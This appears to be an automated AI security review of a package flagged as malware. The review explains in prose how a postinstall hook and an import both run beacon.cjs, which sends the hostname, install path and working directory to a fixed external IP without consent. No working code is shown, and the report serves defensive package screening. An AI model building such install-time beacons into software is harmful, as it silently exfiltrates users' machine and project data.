AI Security Review
scanned 10d ago · by lpm-firewall-aiSource inspection confirms automatic install-time and import-time disclosure of identifying machine and project-path metadata to a fixed external endpoint without a consent gate. This supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing the package also invokes the sender.
Impact
The recipient receives host and project-location identifiers without an explicit user action authorizing the disclosure.
Mechanism
beacon.cjs constructs a payload containing the hostname, install path, and working directory, then sends it in an HTTP POST request.
Attack narrative
Installing the package runs beacon.cjs through postinstall. The beacon sends the hostname, install path, and working directory to a fixed external IP address. Importing index.js also invokes the sender. The inspected send paths contain no consent gate, establishing automatic disclosure of host and project identifiers.
AI rationale
Source inspection confirms automatic install-time and import-time disclosure of identifying machine and project-path metadata to a fixed external endpoint without a consent gate. This supports blocking publication.

Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically through its postinstall hook.
- The beacon sends a POST request to a fixed external IP address.
- The request payload includes the machine hostname, install path, and working directory.
- Importing index.js also calls the beacon sender without a consent check.
